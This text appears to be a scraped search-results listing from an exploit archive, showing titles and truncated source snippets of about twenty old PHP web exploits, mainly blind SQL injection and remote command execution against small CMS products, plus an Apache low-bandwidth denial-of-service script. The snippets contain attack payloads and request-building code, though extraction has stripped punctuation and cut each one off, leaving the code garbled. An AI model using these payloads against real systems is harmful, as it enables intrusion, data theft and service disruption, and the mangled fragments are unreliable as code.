209 matches found
帝国（EmpireCMS47） sql inject Exploit
No description provided by source. ?php printr" +------------------------------------------------------------------+ Exploit For EmpireCMS47 Just work as php=5&mysql=4.1 BY t00ls.net +------------------------------------------------------------------+ "; if $argc3 echo "Usage: php ".$argv0." host...
Joomla Component com_pms 2.0.4 (Ignore-List) SQL Injection Exploit
No description provided by source. ?php / -------------------------- Joomla =1.0.15 Component compms =2.0.4 Ignore-List SQl-Injection Vuln -------------------------- Author: M4dhead Vulnerable joomla component : compms Conditions : magicquotesgpc = On or Off it doesn't matter ;...
Joomla! Component com_pms 2.0.4 - 'Ignore-List' SQL Injection
PMS Enhanced-Config Tab: Backend - Ingorlist: Yes Create a valid User on the target Joomla 1.0.15 System with Community Builder, login and copy the cookieinformation into the $cookie var below, adjust the User-Agent on your Post Header dependent on your Browser. Notice: Pay attention on your...
Arab Portal 2.x SQL Injection
getqc &&!isset$apt-getqp $qc = $apt-getqc; $result = $apt-query"select name,comment from rafiacomment where id='$qc'"; $row = $apt-dbarray$result; $apt-row'quote' = "\n\n\nQUOTE..... :".$row'name'."\n".$row'comment'."/QUOTE"; /code - Debug : code $qc = intval$apt-getqc; /code - Note : Path to...
Allomani Songs And Clips 2.7.0 SQL Injection
?php iniset"maxexecutiontime",0; printr' || || | || o,7 || . o7 || q||| o///, : / / . /QQQQQQQQQQQQQQQQQQQ\ q Allomani Songs & Clips v2.7.0 /QQQ/\QQQ\ Blind SQL inj. exploit /QQQQQ/ \QQQQQQ\ q GET 3 /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ q http://allomani.com |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| Fro...
Morcego CMS 1.7.6 SQL Injection
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - - + / / / / / / + - / / / / /// / / / /// / / - + / // / // / / / , +\n". "- Ex. : php xpl.php localhost /MorcegoCMS/ root -\n". "+ +\n". "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n". "\n"; function hex...
Multiple HTTP Server Low Bandwidth Denial of Service #2
No description provided by source. ?php / DOS for the vulnerbility at http://isc.sans.org/diary.html?storyid=6601 I wrote it in PHP because I find it funny to make PHP attack apache... I set it at 200 processes and it kill my test servers pretty quick. have fun kiddiez... greetz: m1m1, t4dp0le,...
Podcast Generator <= 1.2 unauthorized Re-Installation Remote Exploit
Exploit for unknown platform in category web applications ==================================================================== Podcast Generator $file.$ext $Ldeleted"; / Explanation code snippet above points ----------------------------------------------------------------------------------- 1...
Podcast Generator 1.2 - Unauthorized Re-Installation
$file.$ext $Ldeleted"; / Explanation code snippet above points ----------------------------------------------------------------------------------- 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless! 2. if 'amilogged' isn't true - exit function activated. 3. unlink...
eLitius 1.0 - Remote Command Execution
?php //786 / ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || || ============================================================================== / | | || | | \ | | / ...
IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit
No description provided by source. --+++=======================================================+++-- --+++====== IF-CMS = 2.0 Blind SQL Injection Exploit ======+++-- --+++=======================================================+++-- ?php function query $username, $char, $pos //Increase benchmark...
IF-CMS 2.0 - id Blind SQL Injection
IF-CMS 2.0 - id Blind SQL Injection --+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 us...
CMS Mini 0.2.2 - Remote Command Execution
CMS Mini 0.2.2 - Remote Command Execution --+++================================================================+++-- --+++====== CMS Mini ". "\n+ Ex. : php xpl.php localhost /CMSmini". "\n\n"; if $argc != 3 usage; $hostname = $argv 1; $path = $argv 2; $fp = fsockopen $hostname, 80; $post =...
CMS Mini <= 0.2.2 Remote Command Execution Exploit
No description provided by source. --+++================================================================+++-- --+++====== CMS Mini = 0.2.2 Remote Command Execution Exploit ======+++-- --+++================================================================+++-- ?php function usage exit "\nCMS Mini =...
CMS Mini 0.2.2 - Remote Command Execution
--+++================================================================+++-- --+++====== CMS Mini ". "\n+ Ex. : php xpl.php localhost /CMSmini". "\n\n"; if $argc != 3 usage; $hostname = $argv 1; $path = $argv 2; $fp = fsockopen $hostname, 80; $post = "message="; $request = "POST...
PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit
No description provided by source. --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $quer...
Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ Community CMS = 0.4 /index.php id Blind SQL Injection Exploit ================================================================...
ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit
No description provided by source. ?php function usage echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit". "\n☢ Usage : ./itlpoll.php hostname path username or password". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1'...
ITLPoll 2.7 Stable2 - Blind SQL Injection
". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORDMIDSELECT IFNULLCAST$func AS CHAR10000, CHAR32 FROM itlconfig...
PHP-CMS 1 - 'Username' Blind SQL Injection
--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...